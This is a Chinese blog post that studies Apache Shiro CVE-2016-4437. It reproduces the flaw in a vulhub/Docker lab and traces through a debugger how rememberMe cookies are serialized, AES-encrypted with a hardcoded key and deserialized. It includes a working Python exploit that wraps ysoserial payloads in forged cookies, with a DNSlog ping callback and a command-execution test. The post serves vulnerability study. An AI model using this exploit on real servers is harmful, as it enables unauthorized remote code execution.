Apache Shiro CVE-2016-4437反序列化漏洞学习

0x00 漏洞信息

1
2
3
4
5
VUL = ["CVE-2016-4437"]
VUL_NAME = ["Apache Shiro反序列化漏洞"]
TYPE = ["Deserialize Remote Code Execution"]
DESCRIPTION = '''shiro提供的rememberMe的功能,登入页面时勾选rememberMe的时候,会把cookie写到客户端保存,关闭浏览器再打开,访问网页时还是属于登入状态。'''
IMPACT = ["Apahce Shiro <= 1.2.4"]

0x01 复现

目标环境:

  • Centos7 + vulhub[shiro/CVE-2016-4437]

为了能让docker环境上网,改写了docker-compose.yml,加了”network_mode:host“:

image-20200623143555729

POC

根据https://github.com/Medicean/VulApps/blob/master/s/shiro/1/poc.py 稍微加工了下:

CVE_2016_4437.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
import os
import base64
import uuid
import subprocess
import requests
# 备注:python3只安装pycryptohome[python-dev]
from Crypto.Cipher import AES

JAR_FILE = '../../1Tools/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar'

KEY = ['kPH+bIxk5D2deZiIxcaaaA==','4AvVhmFLUs0KTA3Kprsdag==']

class CVE_2016_4437():
def __init__(self, url):
self.url = url
if "http" not in url:
self.url = "http://" + self.url
self.info = {
"VUL": "CVE-2016-4437",
"VUL_NAME": "Apache Shiro反序列化漏洞",
"TYPE": "Deserialize Remote Code Execution",
"DESCRIPTION": "shiro提供的rememberMe的功能,登入页面时勾选rememberMe的时候,会把cookie写到客户端保存,关闭浏览器再打开,访问网页时还是属于登入状态。",
"REFERENCE": "https://www.freebuf.com/column/220958.html, https://www.freebuf.com/vuls/231909.html"
}
self.vulWarning = 'Target ' + self.url + ' has vulnerablity: ' + self.info.get('VUL') + '\n \n'

def headerToString(self, header):
str = ''
for key in header.keys():
tmpstr = key + ': ' + header.get(key) + '\n'
str = str + tmpstr
return str

def poc(self):
try:
headers = {
'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
# 换成自己的dns
payload = self.generator('ping shiro.****.ceye.io')
r = requests.get(self.url, cookies={'rememberMe': payload.decode()}, timeout=10)
httpResponse = self.vulWarning + self.url +"\nHTTP Request Headers\n" +\
self.headerToString(r.request.headers)\
+ " \nHTTP Response Body:\n" + str(r.text)
return httpResponse
except Exception as e:
return False

def exp(self, rce_command):
try:
payload = self.generator(rce_command)
r = requests.get(self.url, cookies={'rememberMe': payload.decode()}, timeout=10)
print(r.text)
except Exception as e:
pass
return False

# key生成rememberMe
def generator(self, command, fp=JAR_FILE):
if not os.path.exists(fp):
raise Exception('jar file not found')
popen = subprocess.Popen(['java', '-jar', fp, 'CommonsBeanutils1', command], stdout=subprocess.PIPE)
# popen = subprocess.Popen(['java', '-jar', fp, 'URLDNS', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = KEY[0] + "',"

mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext


if __name__ == '__main__':
vul = CVE_2016_4437('http://192.168.116.132:8080')
print(vul.exp('touch /tmp/test2'))
# print(vul.exp('http://shirodebug.*******.ceye.io'))
print(vul.poc())

执行结果:

vul.exp(‘touch /tmp/test2’):生成了文件

image-20200623142438431

vul.poc():DNSLog记录如下

image-20200623142900112

0x02 漏洞分析

调试环境搭建

如果不想像我这么麻烦,可以直接阅读下大佬的博客,我觉得讲得很好http://saucer-man.com/information_security/396.html#comment-175

基于:

  • Windows + IDEA + python3.7 + git
  • Centos7.8 + docker

首先准备调试环境。

调试环境搭建遇到了无数的坑,因为之前没接触过远程调试,过程如此艰难,前前后后花了2周/(ㄒoㄒ)/~~,现在记录下,也是总结。本来考虑的是直接用vulhub的docker环境进行远程调试,但是发现用的jar包,没有源代码,这一方法不考虑了;接着找了vulfocus的镜像,可能本人技术不行,命令一直运行失败(后来发现可能跟选择的ysoserial的Gadget有关);最后找到一篇saucerman写的博客,给了我启发,打算自己生成war包结合docker进行远程调试(当然也可以在本地分析,但我当练手了。。)。

1、本地生成war包

  • 拉取git分支:
1
2
3
git clone https://github.com/apache/shiro.git
cd shiro
git checkout 1.2.4
  • 修改samples\web\pom.xml,pom.xml提供了项目依赖信息,方便下载进行包管理【Maven项目使用项目对象模型(Project Object Model,POM)来配置,项目对象模型存储在名为 pom.xml 的文件中。我觉得跟python的pip稍微有点像,都是包管理工具】。这里修改jstl【jsp标准标签库,jsp需要引用】版本为1.2,说明下为什么加版本为1.2,查了下是因为1.0与1.1没有在Maven仓库中存在,而且其使用方式都是将jstl.jar与standard.jar添加到编译路径下,并将tld文件夹中的文件(或者包含文件夹)复制到/WEB-INF,然后配置web.xml文件。

    samples\web\pom.xml
    1
    2
    3
    4
    5
    6
    7
         <!--修改jstl[jsp标准标签库]版本为1.2-->
    <dependency>
    <groupId>javax.servlet</groupId>
    <artifactId>jstl</artifactId>
    <version>1.2</version>
    <scope>runtime</scope>
    </dependency>
  • 接下来点击“File”的open,直接打开samples\web目录,导入文件,IDEA的maven会自动通过pom.xml下载依赖包。

    image-20200628155251946

    等待下载构建完成,会自动生成war包,war包在如图target下

    image-20200629110708280

  • 如果要本地直接进行debug分析,可以往下看,忽略【2、远程调试环境】;如果想远程调试,忽略下面直接跳到【2、远程调试环境】

  • 右上角设置Run/Debug Configurations,添加tomcat server->local

    image-20200628155618771

    image-20200628155740557

    添加tomcat,选择本地tomcat目录

    image-20200628155929898

    设置Deployment部署包,点击右侧+,添加图片war包,点击apply,然后点击OK确定。

    image-20200628160155471

2、远程调试

如果本地分析的话,就直接忽略这里就好。

centos上写好Dockerfile,自己制作镜像然后远程调试。

步骤如下:

创建目录

1
2
3
4
mkdir shiro_test
cd shiro_test
# 手动复制之前生成的war包到shiro_test下
vim Dockerfile

Dockerfile编辑内容如下,其中ENV JPDA_ADDRESS=”12345”和CMD [“catalina.sh”, “jpda”, “run”]可以设置远程调试:

1
2
3
4
5
6
7
8
9
10
FROM tomcat:8.5.46
MAINTAINER "R17a"
ENV ROOT_PATH /usr/local/tomcat/webapps/
ENV JPDA_ADDRESS="12345"
WORKDIR $ROOT_PATH
RUN rm -rf ./*
ADD samples-web-1.2.4.war ./
RUN mv samples-web-1.2.4.war ROOT.war
EXPOSE 8080 12345
CMD ["catalina.sh", "jpda", "run"] #启动tomcat shell执行程序

用Dockerfile制作镜像,并创建容器

1
2
3
4
docker build -t shiro:1.4 .
# 第一次用的这个命令,容器内不能上网,无法ping DNS:docker run -e JPDA_ADDRESS=12345 -p 8080:8080 -p 12345:12345 shiro:1.4
# 推荐用这个,容器可以访问外网,这样方便执行ping命令
docker run --name shiro_vul -e JPDA_ADDRESS=12345 --net=host shiro:1.4

进入容器拷贝ROOT出来

1
docker exec -it b2e:/usr/local/tomcat/webapps/ROOT .

把拷贝出来的ROOT导入IDEA,然后根据下图设置远程调试

image-20200629125135394

调试环境搭建完成,接下来debug调试分析。

调试分析

看了几篇博文都是在org.apache.shiro.mgt.DefaultSecurityManager#resolvePrincipals开始断点,后来发现这里已经开始处理cookie中rememberMe值进行解密过程了。

用户名->Cookie:

首先在lib的shiro-core-1.2.4.jar找到AbstractRememberMeManager#onSuccessfulLogin 83、84、85行打上断点。AbstractRememberMeManager是rememberMe的处理类,onSuccessfulLogin登录成功后的处理。

image-20200629152739189

访问web页面http://192.168.116.142:8080/,点击进入log in:

image-20200629153056491

可以看到这里提供了几组用户名密码可以登录:

image-20200629153203280

点击debug开始进行调试:

image-20200629153308922

选择一组进行登录,这里我选了lonestarr,因为是RememberMe导致的漏洞,这里要勾选上,点击login:

image-20200629153351576

成功弹出debug界面

image-20200629153759978

onSuccessLogin方法获取到三个参数:subject、token和info。forgetIdentity处理HTTP请求和响应,接着判断rememberMe是否为真,之前勾选了所以这里是true,接着rememberIdentity处理

image-20200629155321263

F7进入rememberIdentity方法,首先getIdentityToRemember返回了authcInfo.principals的值为lonestarr,赋值给principals,紧接着调用this.rememberIdentity方法

image-20200629161120911

F7进入this.rememberIdentity后,首先调用this.convertPrincipalsToBytes(accountPrincipals),CTRL+左击方法名,这个方法就在下面,convertPrincipalsToBytes首先对accountPrincipals进行序列化,如果加密cipherService not null就进行加密,根据下面变量值transformationString可以知道似乎是AES/CBC/PKCS5Padding加密

image-20200629162855809

F7进入convertPrincipalsToBytes,跟进encrypt方法,encrypt对序列化后的数据加密

image-20200629165007265

跟进cipherService.encrypt,encrypt的两个参数,数据和key,进行加密,之前就得知AES用了硬编码,所以我们找下key

image-20200629165247674

回退到上一断点

image-20200629165432354

再F7进入到encrypt,到cipherService.encrypt按向下箭头,有两个方法可以进入,点击 getEncryptionCipherKey,

image-20200629165554940

跟进后,CTRL+左击encryptionCipherKey

image-20200629165957200

发现使用的默认key:kPH+bIxk5D2deZiIxcaaaA==

image-20200629170153323

回到rememberIdentity方法,经过上面的分析我们知道到这里已经获取了remeberMe的序列化后的并且经过AES硬编码加密的字节数据bytes

image-20200629170625534

接着F8调用this.rememberSerializedIdentity(subject, bytes),F7跟进。rememberSerializedIdentity主要对数据进行了base64编码,并且设置cookie值为base64编码后的数据

image-20200629171852085

至此,rememberIdentity通过convertPrincipalsToBytes和rememberSerializedIdentity完成了用户名的序列化->AES硬编码加密->base64编码 数据设置给cookie。

在DefaultSecurityManager#resolvePrincipals 245行打上断点,然后开始debug

image-20200629185022699

用burp发送请求(之前登录的lonestarr生成的cookie保存了),debug窗口弹开

image-20200629195658863

image-20200629185545132

跟进getRememberedIdentity,首先获取cookieRememberMeManager

image-20200629200557127

rmm not null,调用getRememberedPrincipals,跟进getRememberedPrincipals

image-20200629200810304

接着跟进getRememberedSerializedIdentity,对RememberMe进行base64解码并返回

image-20200629201210423

F8继续往下

image-20200629201411867

F7跟进convertBytesToPrincipals

image-20200629201506202

调用this.decrypt,跟进decrypt方法

image-20200629201832857

decrypt将加密数据使用默认key进行AES解密,是之前加密的逆过程

image-20200629201915372

回到 convertBytesToPrincipals,接着进行反序列化并返回数据,此时数据已经经过了base64解码->AES解密->反序列化

image-20200629202258690

接着F8,获取了最终身份:lonestarr

image-20200629202508449

至此,用户名保存成cookie和cookie反解析成用户身份完成分析,反解析过程中反序列化没有验证对象,直接信任并进行反序列化从而导致可以执行命令。

0x03 问题记录

学习过程中遇到了几个问题,记录下,方便思考

  1. 为什么要从AbstractRememberMeManager#onSuccessfulLogin和在DefaultSecurityManager#resolvePrincipals开始打断点,我是看了大佬们的博客才知道,但是如果我自己独立分析的话肯定是要找很久或者找很久都不清楚,怎么能够在新爆出漏洞时,自己独立分析时准确找到比较好的断点?
  2. 利用了ysoserial的CommonsBeanutils1的Gadgets,在分析调试时没有成功,但是却在vulhub复现时成功了,为什么?两者环境有什么区别?看到有遇到可能是版本问题引起的,我没有认真分析,留下这个疑惑,有空再更新。
  3. 经过本次深入分析学习的过程,Dockerfile构建镜像和远程调试也有了进一步的提升,虽然过程时艰难的,但是还是收获很多

参考链接:

https://www.freebuf.com/vuls/178014.html

https://www.freebuf.com/column/220958.html

https://www.freebuf.com/articles/system/125187.html

https://www.cnblogs.com/loong-hon/p/10619616.html

https://github.com/Medicean/VulApps/blob/master/s/shiro/1/poc.py

https://www.jianshu.com/p/d168ecdce022

https://www.cnblogs.com/yangxiaodi/p/10077054.html

http://saucer-man.com/information_security/396.html

https://blog.xinpapa.com/2019/03/19/docker-tomcat-debug/

https://stackoverflow.com/questions/35584063/debugging-tomcat-in-docker-container

https://www.cnblogs.com/zsty/p/9950722.html